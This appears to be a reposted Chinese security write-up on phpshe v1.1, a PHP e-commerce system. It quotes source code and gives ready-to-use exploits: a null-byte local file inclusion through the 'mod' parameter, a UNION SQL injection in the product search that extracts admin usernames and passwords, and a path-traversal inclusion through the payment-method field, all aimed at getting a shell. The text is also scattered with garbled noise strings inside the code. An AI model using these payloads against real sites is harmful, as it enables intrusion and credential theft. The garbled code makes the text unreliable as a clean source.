phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
6 ^* F1 }0 b4 s3 q) ?& Y/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
: N+ C( x3 E' p% ~. U0×00 整体大概参数传输


% h" h1 {. N6 K! ]+ v
: |/ c; v7 D* p$ }3 Q. W1 T0 g# v# s//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
" J( u/ [- S4 {# l) P* |!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
$ B. m$ c; ^6 A$ m1 [}
# Q$ Q# p3 F' p1 uelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
" P5 K7 W" d6 H* [  _6 B! n1 ]2 T, m! e2 |}
# ?8 z/ ]' L/ ], c& Z1 ?0 tsession_start();
5 V. q6 `9 [  f: t!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
  m# ]: Y5 ?6 b$ }* `4 w
! `& d, i$ m' Z, S8 o2 |0×01 包含漏洞

. E& N* n1 v- y8 K6 c3 s2 e
, T- g7 R% A8 X+ i/ G( I//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
* B) x  Y$ d' o4 u$ {+ H//common 文件 第15行开始
- \+ f) P0 A9 F, ^3 I- Surl路由配置
$module = $mod = $act = 'index';
: b1 V; h3 I. K- o: q" J6 H) z$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
. [; N" n  j; K) f$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
) p, K0 U- q5 z4 G! V* q//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

# s- n/ s2 N* p  R( r5 J  x7 ^  ~& w
0×02 搜索注入

<code id="code2">

//product.php文件
& a( D: s& o/ E  x# Bcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
# U/ [& d7 l' f2 J% f//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
) k3 R1 q2 j3 G! K$orderby = explode('_', $_g_orderby);
& e! a4 c8 Y6 U% Y6 b$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
8 j! V+ m; k$ G: x}
else {
$sqlwhere .= " order by `product_id` desc";
}
, y& I" b& H; h, n$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
; U) _8 |% L4 @//当前路径
4 Y/ A3 ?3 Y+ z$ v% y$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
$ N: R2 L% E- n* n: T- r! D- x- @" dinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
2 z( C3 o% }: L: A) A{
1 m% J8 [' u6 B4 }7 ~//处理条件语句
) t8 c. _4 A$ L1 P, a% C$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
/ a$ E0 W2 I6 ?8 e8 w$ o. Z2 F}
, _- {( R: c( s  ^$ \$ x) F//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

5 x+ u4 n4 Z9 }$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

: S8 @  `' f; R* p" C1 E9 J" O6 vforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

' o7 ~( m3 j+ ]8 X5 |8 qif ($k == 'bank') {

# w1 z% U  {: @) w% }$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

# R5 V; W2 E# G; B0 r}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

% R% J1 J; @: o) D- Cif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

$ f. k6 i8 n: r6 J# W4 ~! b$ lforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

! [% J& G$ N8 \' E/ Techo '正在为您连接支付网站，请稍后...';

' `( n# Z" k/ }6 Ninclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

  w/ O" }( O3 A' X) T2 r}//当一切准备好的时候就可以进行"鸡肋包含了"

$ D% ?1 q! n4 d# I. s, b- [else {

' N# H/ Y* S  w% tpe_error('支付错误...');

}

4 O( O3 c9 r; x5 x3 z7 ?}

' w- ]7 ^; d' N$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

7 n, S! `1 O$ kbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
1 @* o4 k( U! U. jhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg